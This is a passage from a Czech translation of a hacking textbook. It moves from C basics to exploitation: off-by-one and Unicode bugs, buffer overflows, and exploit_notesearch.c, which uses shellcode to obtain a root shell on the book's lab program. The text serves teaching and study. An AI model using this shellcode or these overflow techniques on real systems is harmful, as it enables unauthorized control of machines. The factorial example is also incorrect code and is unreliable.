Protože se změnilo pořadí operací, b bude nyní obsahovat hodnotu 36; a bude stále obsahovat 6. V programech dost často potřebujeme modifikovat obsah proměnné na místě. Například potřebujete k proměnné přičíst nějakou hodnotu, řekněme 12, a výsledek ihned uložit zpět do této proměnné (například i = i + 12). To se děje tak často, že i pro tyto výrazy existují zkrácené zápisy, viz následující tabulka.
26
0x200 – Programování
Výraz
Zkrácený zápis
Vysvětlení
i = i + 12
i+=12
Přičte danou hodnotu k proměnné.
i = i – 12
i-=12
Odečte danou hodnotu od proměnné.
i = i * 12
i*=12
Vynásobí proměnnou danou hodnotou.
i = i / 12
i/=12
Vydělí proměnnou danou hodnotou.
0x243
Porovnávací operátory
Proměnné se hojně využívají v podmínkových příkazech řídicích struktur, které jsme si vysvětlili dříve. Podmínkové příkazy jsou založeny na jistém druhu porovnávání. V jazyce C se porovnávací operátory zapisují prostřednictvím zkrácené syntaxe, která se velmi běžně používá v různých programovacích jazycích. Podmínka
Symbol
Ukázka
Menší než
<
(a < b)
Větší než
>
(a > b)
Menší nebo rovno
<=
(a <= b)
Větší nebo rovno
>=
(a >= b)
Je rovno
==
(a == b)
Není rovno
!=
(a != b)
Většina operací je zřejmá, takže k nim není potřeba nic vysvětlovat, jen upozorňuji, abyste si dobře zapamatovali, jakým způsobem se zapisuje operace je rovno – jsou dvě rovnítka za sebou. Tato dvě rovnítka znamenají test na ekvivalenci, zatímco jediné rovnítko se používá pro přiřazení hodnoty do proměnné. Příkaz a = 7 znamená uložit hodnotu 7 do proměnné a, zatímco a == 7 znamená zkontrolovat, zdali má proměnná a v sobě uloženou hodnotu 7. (Některé programovací jazyky, jako například Pascal, používají pro přiřazení do proměnné operátor :=, aby vizuálně eliminovaly možnost záměny těchto operací.) Dále si všimněte, že vykřičník všeobecně znamená ne. Tento symbol se dá použít i samostatně – v takovém případě pak mění výraz na opačný. !(a < b) je ekvivalentní k (a >= b)
Porovnávací operátory se dají řetězit pomocí zkrácených zápisů logických operací OR a AND. Logika
Symbol
Ukázka
OR (NEBO)
||
((a < b) || (a < c))
AND (A)
&&
((a < b) && !(a < c))
Hacking – umění exploitace
27
Ukázkový příkaz skládající se ze dvou dílčích podmínek spojených logikou OR (NEBO) se vyhodnotí jako pravdivý (true), jestliže je a menší než b, NEBO jestliže je a menší než c. Obdobným způsobem se ukázkový příkaz skládající se ze dvou dílčích podmínek spojených logikou AND (A) vyhodnotí jako pravdivý, jestliže je a menší než b A ZÁROVEŇ a není menší než c. Dílčí podmínky lze pro lepší přehlednost dávat do kulatých závorek a může jich být více než dvě. Pomocí proměnných, porovnávacích operátorů a řídicích struktur lze vyjádřit mnoho věcí. Vraťme se k příkladu myši, která shání něco k snědku. Mít nebo nemít hlad se dá přeložit do logické proměnné s hodnotou true nebo false. Hodnota 1 pochopitelně znamená true, 0 znamená false. While (hlad == 1) { Najdi něco k snědku; Sněz to; }
A nyní se seznámíme s další zkratkou, kterou programátoři a hackeři používají dost často. C vlastně nemá logické operátory, takže jakákoli nenulová hodnota se považuje za true, a příkaz se považuje za false, obsahuje-li 0. A skutečně – porovnávací operátory opravdu vracejí hodnotu 1, jestliže se porovnávání vyhodnotí na true, a hodnotu 0, jestliže se vyhodnotí na false. Při testu, zda je proměnná hlad rovna 1, se vrátí 1, jestliže se hlad rovná 1, a 0, jestliže se hlad rovná 0. Protože se jedná pouze o dva případy, je možné porovnávací operátor vyhodit. While (hlad) { Najdi něco k snědku; Sněz to; }
Následující program chytřejší myši s více vstupy předvádí, jak se dají porovnávací operátory zkombinovat s proměnnými. While ((hlad) && !(je_tu_kočka)) { Najdi něco k snědku; If(!(jídlo_v_pastičce)) Sněz to; }
V tomto příkladu se předpokládá, že existují proměnné, které popisují přítomnost kočky a kde se nachází jídlo, přičemž hodnota 1 znamená true a 0 znamená false. Zapamatujte si ovšem, že libovolná nenulová hodnota se považuje za true, a že pouze hodnota 0 se považuje za false.
28
0x200 – Programování
0x244
Funkce
Tu a tam se vyskytne sada instrukcí, o které programátor předem ví, že ji bude několikrát potřebovat. Takové instrukce se dají seskupit do menšího podprogramu zvaného funkce. V některých jiných programovacích jazycích se jim říká subrutiny nebo procedury. Například akce pro změnu směru jízdy auta se skládá z mnoha dílčích akcí: zapnout patřičný blinkr, zpomalit, zkontrolovat okolní provoz, otočit volantem v patřičném směru atd. To znamená, že pokyny k jízdě, které byly uvedeny na začátku této kapitoly, bychom měli propracovat do daleko větších podrobností. Kdybychom ovšem měli explicitně vypisovat všechny dílčí instrukce pro každý pokyn, bylo by to velmi pracné, nehledě na to, že samotný plán jízdy by se velmi špatně četl. Potřebné proměnné se ovšem dají předat jako argumenty do funkce, aby se dalo modifikovat, jak má funkce fungovat. V našem případě předáváme do funkce proměnnou, která udává směr (doleva, doprava): Function Zatočit(proměnná_směr) { Zapnout blinkr proměnná_směr; Zpomalit; Zkontrolovat okolní provoz; while(něco jede) { Stát; Sledovat okolní provoz; } Otočit volantem proměnná_směr; while(otočení není dokončené) { if(rychlost < 5 mph) Zrychlit; } Otočit volantem zpět do původní pozice; Vypnout blinkr proměnná_směr; }
Tato funkce popisuje všechny instrukce, které potřebujete, pokud chcete změnit směr jízdy. Když program, který potřebuje zatočit, ví o této funkci, stačí mu funkci zavolat. Když se funkce zavolá, vykonají se instrukce, které jsou uvnitř, s hodnotami argumentů předaných do funkce; poté se vykonávání vrátí do programu za volání funkce. Do funkce se dá předat hodnota vyjadřující buď doleva, nebo doprava, což způsobí, že funkce zatočí autem v předaném směru. V jazyce C mohou funkce standardně vracet hodnotu volajícímu. Pro ty z vás, kdo důvěrně znáte matematické funkce, to je nepochybně zcela jasné. Představte si funkci, která vypočítává faktoriál zadaného čísla – je přirozené, že vrátí výsledek.
Hacking – umění exploitace
29
V C nejsou funkce označovány klíčovým slovem "function"; deklarují se datovým typem proměnné, kterou vracejí. Je to formát, který se velmi podobá deklaraci proměnné. Jestliže má funkce vrátit celé číslo (předpokládejme, že se jedná o funkci, která má vypočítat faktoriál čísla x), může taková funkce vypadat takto: int factorial(int x) { int i; for(i=1; i < x; i++) x *= i; return x; }
Funkce je deklarována jako celočíselná, protože vynásobí všechna celá čísla od 1 do x a vrátí výsledek, což je také celé číslo. Příkaz return, který vidíte na konci funkce, předává zpět obsah proměnné x a ukončuje funkci. Tato funkce pro výpočet faktoriálu se pak dá používat v hlavní části programu, který o ní ví, jako celočíselná proměnná. int a=5, b; b = factorial(a);
Na konci tohoto kratičkého programu bude proměnná b obsahovat hodnotu 120, protože funkce factorial byla zavolána s argumentem 5 a vrátila 120. V C je to zařízeno tak, že kompilátor musí "vědět" o funkcích dřív, než je může použít. To se dá jednoduše zařídit tak, že se celá funkce napíše předtím, než se v programu později zavolá, nebo můžete použít prototyp funkce (function prototype). Prototyp funkce je prostě způsob, jak říct kompilátoru, že má očekávat funkci s daným názvem, s daným datovým typem návratové hodnoty a s danými datovými typy argumentů funkce. Skutečná funkce může pak být umístěna ke konci programu, dá se ale volat kdekoliv, protože kompilátor už ví o její existenci. Prototyp funkce factorial() může vypadat následovně: int factorial(int);
Prototypy funkce se obvykle umisťují poblíž začátku programu. Nemusejí nutně definovat nějaké názvy proměnných, protože tohle se udělá až ve skutečné funkci. Kompilátor potřebuje znát pouze název funkce, datový typ návratové hodnoty a datové typy argumentů funkce. Pokud nemá funkce nic vracet, měla by být deklarována jako void, což je případ funkce Zatočit(), kterou jsem uvedl o něco dříve v této kapitole. Funkce Zatočit() ovšem stále ještě nepo-
krývá veškerou funkcionalitu, kterou potřebujeme pro pokyny zajišťující změnu směru jízdy. Při každém zatočení potřebujeme znát směr a název ulice. To znamená, že funkce pro zatáčení by měla mít dvě proměnné: směr zatočení, a ulici, do které chceme vjet. To je pro naši funkci jistá komplikace, protože ulice, kam se má zatočit, se musí najít ještě předtím, než začneme zatáčet. Následující výpis obsahuje pseudokód složitější zatáčecí funkce (samozřejmě v syntaxi podobné jazyku C).
0x200 – Programování
30
void Zatočit(proměnná_směr, název_cílové_ulice) { Vyhledat ceduli s názvem ulice; název_aktuální_křižovatky = přečíst ceduli s názvem ulice; while(název_aktuální_křižovatky != název_cílové_ulice) { Vyhledat ceduli jiné ulice; název_aktuální_křižovatky = přečíst ceduli s názvem ulice; } Zapnout blinkr proměnná_směr; Zpomalit; Zkontrolovat okolní provoz; while(něco jede) { Zastavit; Sledovat okolní provoz; } Otočit volantem proměnná_směr; while(otočení není dokončené) { if(rychlost < 5 mph) Zrychlit; } Otočit volantem zpět do původní pozice; Vypnout blinkr proměnná_směr; }
Tato funkce obsahuje sekci, ve které se vyhledá patřičná křižovatka tím, že se vyhledá cedule s názvem ulice a přečte se z ní název ulice, jenž se uloží do proměnné název_aktuální_křižovatky. Poté se pokračuje s vyhledáváním a čtením ulic tak dlouho, dokud se nenajde cílová ulice. V tomto okamžiku se vykonají instrukce týkající se zabočení. Pokyny k jízdě v pseudokódu mohou být nyní upraveny tak, aby se v nich použila výše uvedená zatáčecí funkce. Jeďte východním směrem po Main Street; While (napravo není kostel) Jeďte po Main Street; If (ulice je zavřená) { Zatočit(vpravo, 15th Street); Zatočit(vlevo, Pine Street); Zatočit(vpravo, 16th Street); } else
0x300 EXPLOITACE
Hlavní potravou hackera je exploitování. Jak jsme si předvedli v kapitole 2, program tvoří složitá sada pravidel. Poté následuje jistý vykonávací tok, který nakonec počítači říká, co má udělat. Exploitování programu je prostě rafinovaný způsob, jak počítač přinutit, aby dělal to, co chcete vy, a to dokonce i tehdy, pokud právě běžící program byl navržen tak, aby tomu zabránil. Protože program může opravdu dělat pouze to, pro co byl navržen, aby dělal, díry v zabezpečení jsou ve skutečnosti nedostatky nebo přehlédnutí v návrhu programu, nebo v prostředí, kde program běží. Chcete-li takové bezpečnostní díry nalézat, nebo jim předcházet, je zapotřebí, abyste uvažovali kreativně. Ačkoliv tyto díry jsou někdy důsledkem relativně očividných programátorských chyb, existují i méně zřejmé chyby, které byly porodní bábou složitějších exploitovacích technik, a ty se dají aplikovat leckde a lecjak. Program umí dělat pouze a přesně to, co je v něm naprogramováno, a to doslova. Bohužel, to, co je napsáno, se ne vždy shoduje s tím, co programátor zamýšlel, aby program dělal. Dá se to vysvětlit tímto kouzelným vtipem: Muž se prochází po lese a najednou uvidí na zemi lampu. Instinktivně ji zvedne, vypucuje rukávem a z kouzelné lampy vyskočí džin. Poděkuje muži, že ho vysvobodil a jako výraz díků nabídne, že mu splní tři přání. Muž je vzrušený na nejvyšší míru, protože přesně ví, co chce. "Nejdřív," říká muž, "chci miliardu dolarů." Džin luskne prsty a ejhle, z ničehož nic stojí před ním kufr plný peněz. Muž koulí oči nadšením a pokračuje: "Teď chci Ferrari." Džin opět luskne prsty a z oblaku kouře vyjede Ferrari. Muž pokračuje: "A ještě chci být neodolatelný pro ženy." Džin luskne prsty a muž se přemění na bonboniéru. Stejně jako bylo poslední přání splněno podle toho, co muž řekl, nikoliv podle toho, co zamýšlel, přesně stejně provádí své instrukce program. Z tohoto důvodu výsledky nemusejí odpovídat tomu, čeho chtěl programátor dosáhnout svými instrukcemi. Dopady mohou být někdy katastrofální.
142
0x300 – Exploitace
Programátoři jsou pouze lidé a to, co napíšou, občas není přesně to, co zamýšleli. Například – jedné hodně běžné programátorské chybě se říká "o jedničku vedle" (off-by-one). Jak už její název napovídá, je to chyba, kdy se programátor splete o jedničku. Stává se to častěji, než si možná myslíte, a dobře se to dá předvést na následující otázce. Potřebujete postavit plot, máte pletivo v délce 30 m a jednotlivé kůly mají být od sebe tři metry. Kolik kůlů budete celkem potřebovat? Zbrklá intuitivní odpověď je že 10, ale to je špatně, protože ve skutečnosti jich potřebujete 11. Tento typ chyby se vyskytuje tehdy, když programátor místo počtu kůlů, příčlí žebříku atd. vezme počet mezer mezi nimi (nebo naopak). Dalším typickým příkladem je situace, kdy programátor vybírá rozpětí čísel nebo prvků ke zpracování, jako třeba od N do M. Jestliže N = 5 a M = 17, kolik prvků se má zpracovat? Intuitivní odpověď vás opět může svést na scestí: M minus N, neboli 17 minus 5, tedy 12. Ale zase je to špatně, protože prvků je ve skutečnosti M minus N plus 1, tedy 13. Intuice v těchto situacích radí špatně, protože jsou v rozporu s očekáváním. A tohle právě je příčinou, proč takové triviální chyby stále vznikají. Chyby tohoto druhu se často přehlédnou, protože se netestují úplně všechny možnosti, které mohou v programu nastat, a protože při normálním vykonávání programu se účinek těchto chyb obvykle neprojeví. Jakmile se ovšem počítačový program stále více krmí vstupními daty, dříve nebo později nějaký konkrétní vstup způsobí, že se projeví efekt této chyby. Jejím důsledkem může být dominový efekt na celou logiku programu. Když se chyba "o jedničku vedle" řádně exploituje, může se zdánlivě bezpečný program stát něčím úplně opačným – bezpečnostní zranitelností. Klasickým příkladem této situace je OpenSSH, což původně měla být bezpečná terminálová komunikační sada programů navržená tak, aby nahradila nezabezpečené a nešifrované služby jako jsou telnet, rsh a rcp. V kódu pro alokaci kanálu ovšem byla chyba "o jedničku vedle", která se pak intenzivně exploitovala. Konkrétně – kód obsahoval příkaz if v tomto tvaru: if (id < 0 || id > channels_alloc) {
Měl ovšem mít následující tvar: if (id < 0 || id >= channels_alloc) {
V běžné mluvené řeči první kód znamená: pokud je ID menší než 0, nebo je ID větší než počet alokovaných kanálů, vykonej to, co je uvedeno dále, zatímco ten druhý, správný, znamená: pokud je ID menší než 0, nebo je ID větší nebo rovno počtu alokovaných kanálů, vykonej to, co je uvedeno dále. Tahle drobná chybička "o jedničku vedle" umožnila následné exploitování programu, takže normální uživatel, který se autentizoval a přihlásil, mohl získat úplná administrátorská oprávnění k systému. Takovou funkcionalitu určitě programátoři nezamýšleli, když chystali návrh takového bezpečného programu, jako je OpenSSH. Počítač holt umí tupě dělat pouze to, co se mu řekne. Další situace, o které se zdá, že plodí programátorské chyby, nastává tehdy, když program musí pod tlakem rychle modifikovat, aby se rozšířila jeho funkcionalita. Program pak bude lépe prodejný a bude se moci i zvednout jeho prodejní cena, ovšem na druhou stranu bude složitější, přičemž se zvyšuje pravděpodobnost, že se něco přehlédne. Webový server IIS společnosti Microsoft byl
Hacking – umění exploitace
143
navržen tak, aby uživatelům poskytoval statický a interaktivní obsah. Aby něco takového mohl dělat, musí tento program povolit uživatelům číst, zapisovat a spouštět programy a soubory v jistých adresářích; tato funkcionalita musí být omezena výhradně na tyto konkrétní adresáře. Pokud by toto omezení neexistovalo, uživatelé by měli úplnou kontrolu nad systémem, což je z bezpečnostního hlediska silně nežádoucí. Aby program mohl takové situaci zabránit, má v sobě kód pro kontrolu cest, který je navržen tak, že uživatelům zamezuje používat znak obrácené lomítko, takže nemohou putovat zpět po stromu adresářů a dostat se do jiných adresářů. S příchodem podpory znakové sady Unicode ovšem narůstá složitost programů. Unicode je dvoubajtová znaková sada, která byla navržena tak, aby podporovala znaky ze všech možných jazyků, včetně čínštiny a arabštiny. Když se pro znak používají dva bajty (ne pouze jeden), najednou máme možnost zakódovat desetitisíce znaků, nikoliv pouze něco přes dvě stovky, když používáme jediný bajt. Tato přidaná složitost mimo jiné znamená, že znak obrácené lomítko je možné zakódovat několika různými způsoby. Například %5c se v Unicode přeloží na obrácené lomítko, ovšem až poté, co proběhne kontrola cest. Pokud tedy někdo místo \ použil %5c, opravdu mohl putovat po adresářích, čímž vznikala již výše zmiňovaná bezpečnostní rizika. Na základě tohoto drobného přehlédnutí v konverzi znaků Unicode mohli červi Sadmind a CodeRed napadat webové stránky. Jako další obdobná ukázka principu, kdy se tupě dodržuje doslovné znění zákona na úkor litery zákona, může posloužit případ nazvaný "LaMacchia Loophole". Stejně jako počítačový program, má i právní systém Spojených států tu a tam pravidla, která neříkají zcela přesně to, co jejich tvůrci mysleli, a podobně jako počítačový program typu exploit, i mezera v zákoně (loophole) se dá použít k tomu, aby se takový zákon obešel. Koncem roku 1993 David LaMacchia, jednadvacetiletý počítačový hacker a student MIT, zveřejnil adresu své BBS (Bulletin Board System) s názvem Cynosure, která byla vytvořena pro potřeby softwarového pirátství. Kdo nabízel nějaký software, mohl ho tam nahrát; kdo nějaký software sháněl, mohl si jej z tohoto místa stáhnout. Ačkoliv tato služba byla v provozu pouze 6 týdnů, natolik zatížila celosvětový síťový provoz, že nakonec přitáhla pozornost univerzity a federálních úřadů. Softwarové společnosti prohlásily, že kvůli Cynosure přišly o milión dolarů, a velká federální porota obvinila LaMacchiu, že spolu s jinými neznámými osobami spáchal wire fraud, neboli komunikační zločin (což je v USA přesně definovaný právnický termín, viz http://en.wikipedia.org/wiki/Wire_fraud). Obvinění ovšem bylo nakonec staženo, protože se zjistilo, že to, co LaMacchia údajně spáchal, neznamenalo, že by došlo k porušení copyrightu (copyright infringement), protože z distribuce softwaru neměl žádný komerční prospěch a ani osobní finanční profit. Je evidentní, že tvůrci zákonů vůbec nepředpokládali, že by se mohl vyskytnout někdo, kdo by se angažoval v těchto aktivitách, a měl by jiný motiv než na nich vydělat. (V roce 1997 Kongres toto opomenutí v zákoně opravil schválením zákona No Electronic Theft Act.) Přestože se tento příklad netýkal exploitace nějakého počítačového programu, lze soudce a porotu chápat jako počítače vykonávající program právního systému tak, jak byl napsán. Můžeme tedy říci, že abstraktní pojmy z oblasti hackingu přesahují svět počítačů a dají se aplikovat na mnohé jiné aspekty běžného života, který je plný složitých systémů.
144
0x300 – Exploitace
0x310 Všeobecné exploitační techniky Chyby "o jedničku vedle" a nepatřičné rozšiřování Unicode patří mezi trapné omyly, které se někdy stávají, ovšem programátor jasně a zřetelně vidí, jak by se mohly exploitovat, pokud je v programu nechal. Existují ovšem i jiné běžné chyby, které se dají exploitovat zdaleka méně očividným způsobem, než tomu bylo v předchozích situacích. Dopad těchto omylů na bezpečnost není vždy úplně zřejmý, ale problémy s bezpečností se v kódu dají najít téměř všude. Protože stejný druh omylů se dělá na mnoha různých místech, vyvinuly se všeobecné exploitační techniky, aby se dalo lépe těžit ze stejných omylů vyskytujících se v mnoha rozmanitých situacích. Většina exploitačních programů (říká se jim exploity) má něco společného s narušením paměti. Sem patří jak běžné exploitační techniky, jako je například přetečení bufferu, tak i méně běžné metody, například exploitace formátovacího řetězce. Finálním cílem těchto technik je převzít kontrolu nad vykonáváním toku programu. To se dělá tak, že program bude nějakým trikem donucen, aby vykonal úsek zákeřného kódu, který byl propašován do paměti. Tomuto druhu hackerského napadení se říká vykonání svévolného kódu (execution of arbitrary code), protože program bude dělat ne to, co má, ale to, co si usmyslel hacker. Podobně jako v kauze Davida LaMacchia existují zranitelná místa proto, že jsou to konkrétní neočekávané případy, které program neumí nebo opomněl zpracovat. Za normálních okolností tyto neočekávané případy způsobí, že program zhavaruje – jinak řečeno, ztratí vládu nad řízením. Jestliže ovšem máme propracovanou kontrolu nad prostředím, můžeme také mít kontrolu nad tokem vykonávání. To znamená, že zabráníme havárii a daný postup přeprogramujeme ke svému užitku.
0x320 Přetečení paměti Ačkoliv zranitelnosti založené na přetečení bufferu existují již od počátku počítačové éry, v současnosti se pořád vyskytují. Většina internetových červů se rozmnožuje díky zranitelnostem, které vznikají po přetečení bufferu. A dokonce i nejnovější zranitelnost jazyka VML v Internet Exploreru, která byla pojmenována jako Zero-Day, je způsobena přetečením bufferu. C je sice vysokoúrovňový jazyk, nicméně předpokládá, že za integritu dat je zodpovědný programátor. Kdyby se tato zodpovědnost přenesla na kompilátor, výsledné binární kódy by byly významně pomalejší, protože u každé proměnné by se musely provádět testy integrity. Tohle by pro programátora znamenalo značnou ztrátu úrovně kontroly nad kódem, přičemž by se zkomplikoval i samotný programovací jazyk. Přestože jednoduchost jazyka C zvyšuje jak úroveň kontroly programátora nad kódem, tak i efektivnost výsledných programů, může rovněž vést k tomu, že pokud není programátor dostatečně pečlivý, programy budou zranitelnější, pokud jde o přetečení bufferu nebo tzv. úniky paměti (memory leaks). To znamená, že jakmile má proměnná přidělenou paměť, neexistují už žádná zabudovaná bezpečnostní opatření, která by zajišťovala, že obsah proměnné se musí vejít do alokované paměti. Pokud chce programátor vložit deset bajtů dat do bufferu, který má alokovaných pouze osm bajtů, bude taková akce povolena, i když bude pravděpodobně znamenat, že program zhavaruje.
Hacking – umění exploitace
145
Této situaci se říká přetečení bufferu (buffer overrun či buffer overflow), protože ty dva bajty navíc přetečou přes alokovanou paměť a přepíšou to, co se nachází dále, ať už je to cokoliv. Pokud se přepíšou kriticky důležitá data, program zhavaruje. Ukázku poskytuje kód overflow_example.c.
overflow_example.c #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8]; strcpy(buffer_one, "one"); /* Dá "one" do buffer_one. */ strcpy(buffer_two, "two"); /* Dá "two" do buffer_two. */ printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value); printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1])); strcpy(buffer_two, argv[1]); /* Zkopíruje první argument do buffer_two. */ printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value); }
S momentálními znalostmi byste měli být schopni přečíst výše uvedený zdrojový kód a zjistit, co program dělá. Po kompilaci se ve výstupu níže pokoušíme zkopírovat deset bajtů z prvního argumentu příkazového řádku do bufferu buffer_two, který má alokovaných pouze osm bajtů. reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c reader@hacking:~/booksrc $ ./overflow_example 1234567890 [BEFORE] buffer_two is at 0xbffff7f0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7f8 and contains 'one' [BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
146
0x300 – Exploitace
[STRCPY] copying 10 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890' [AFTER] buffer_one is at 0xbffff7f8 and contains '90' [AFTER] value is at 0xbffff804 and is 5 (0x00000005) reader@hacking:~/booksrc $
Povšimněte si, že buffer_one je v paměti umístěn těsně za buffer_two, takže když se zkopíruje deset bajtů do buffer_two, přetečou poslední dva bajty 90 do buffer_one a přepíšou to, co se tam nacházelo. Rozsáhlejší buffer pochopitelně přeteče i do dalších proměnných. A pokud se použije dostatečně velký buffer, viz následující ukázka, program zhavaruje a skoná. reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 29 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA' [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault reader@hacking:~/booksrc $
Tento druh havárie programu je dost běžný – vzpomeňte si na všechny situace, kdy vám spadl nějaký program, nebo kdy jste uviděli modrou obrazovku. V tomto případě se programátor dopustil drobného opomenutí – chybí zde nějaká kontrola na délku, nebo nějaké omezení pro vstup od uživatele. Ačkoliv taková opominutí vznikají poměrně snadno, například z únavy, bývá obtížnější je poté odhalit. A vskutku – program notesearch.c z kapitoly 0x200 obsahuje chybu týkající se přetečení bufferu. Ačkoliv se v C vyznáte docela dobře, pravděpodobně jste ji vůbec neodhalili. reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $
Havárie programů jsou otravné, ale v rukách hackera se mohou stát vyloženě nebezpečnými. Když program havaruje, může nad ním převzít kontrolu erudovaný hacker, což může mít někdy i dost překvapivé následky. Nebezpečí tohoto druhu předvádí program exploit_notesearch.c.
Hacking – umění exploitace
147
exploit_notesearch.c #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200);
// Vynuluje novou paměť.
strcpy(command, "./notesearch \'");
// Začátek bufferu příkazu.
buffer = command + strlen(command);
// Nastaví buffer na konec.
if(argc > 1) // Nastaví offset. offset = atoi(argv[1]); ret = (unsigned int) &i - offset;
// Nastaví návratovou adresu.
for(i=0; i < 160; i+=4)
// Naplní buffer návratovou adresou.
*((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60);
// Vybuduje sled NOP.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command);
// Spustí exploit.
free(command); }
Zdrojový kód tohoto exploitu vysvětlím podrobně později. Všeobecně jde o to, že se vygeneruje řetězec příkazu, kterým se pak spustí program notesearch s argumentem příkazového řádku v apostrofech. Dělá se to prostřednictvím dvou následujících řetězcových funkcí – strlen() získá aktuální délku řetězce, aby se posunul ukazatel bufferu a strcat() přidá na konec příkazu uzavírající apostrof. Prostřednictvím systémové funkce se poté vykoná řetězec příkazu. Základem exploitu je buffer, který se vygeneruje mezi apostrofy. Zbytek je pouze metoda, jak doručit tuto datovou pilulku s jedem. Sledujte, co se může stát při řízené havárii programu.
0x300 – Exploitace
148
reader@hacking:~/booksrc $ gcc exploit_notesearch.c reader@hacking:~/booksrc $ ./a.out [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------sh-3.2#
Exploit je na základě přetečení schopen obsluhovat shell roota, což znamená, že má úplnou kontrolu nad počítačem. Jedná se o exploit, který těží z přetečení bufferu založeného na zásobníku.
0x321
Zranitelnosti způsobené přetečením bufferu založeného na zásobníku
Exploit aplikovaný na program notesearch funguje tak, že naruší paměť, aby mohl převzít kontrolu nad tokem vykonávání. Tento princip názorně předvádí program auth_overflow.c. auth_overflow.c #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <password>\n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); // Přístup udělen
Hacking – umění exploitace
149
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n");
// Přístup odmítnut
} }
Tento ukázkový prográmek prvně přebírá heslo jako svůj jediný argument příkazového řádku. Poté zavolá funkci check_authentication(), která povoluje dvě hesla. Pokud se zadá jedno ze dvou konkrétních hesel, funkce vrátí 1, což vyjadřuje, že byl k něčemu udělen přístup. Nahlédněte do zdrojového kódu – tohle všechno by vám mělo být jasné ještě předtím, než dáte kód zkompilovat, Při kompilaci uveďte přepínač -g, protože kód se bude později ladit. reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c reader@hacking:~/booksrc $ ./auth_overflow Usage: ./auth_overflow <password> reader@hacking:~/booksrc $ ./auth_overflow test Access Denied. reader@hacking:~/booksrc $ ./auth_overflow brillig -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $ ./auth_overflow outgrabe -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $
Až sem to šlo dobře, všechno funguje tak, jak má. To se ostatně očekává od něčeho tak deterministického jako je počítačový program. Přetečení může ale vést na neočekávané, nebo dokonce neslučitelné chování – přístup bude umožněn i v případě, kdy nebylo zadáno správné heslo. reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $
Ačkoliv jste už možná přišli na to, co se vlastně děje, podívejte se i přesto na celou záležitost debuggerem, abyste si ujasnili specifika této situace. reader@hacking:~/booksrc $ gdb -q ./auth_overflow Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
0x300 – Exploitace
150
(gdb) list 1 1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4 5
int check_authentication(char *password) {
6
int auth_flag = 0;
7
char password_buffer[16];
8 9
strcpy(password_buffer, password);
10 (gdb) 11
if(strcmp(password_buffer, "brillig") == 0)
12
auth_flag = 1;
13
if(strcmp(password_buffer, "outgrabe") == 0)
14
auth_flag = 1;
15 16
return auth_flag;
17
}
18 19
int main(int argc, char *argv[]) {
20
if(argc < 2) {
(gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9. (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16. (gdb)
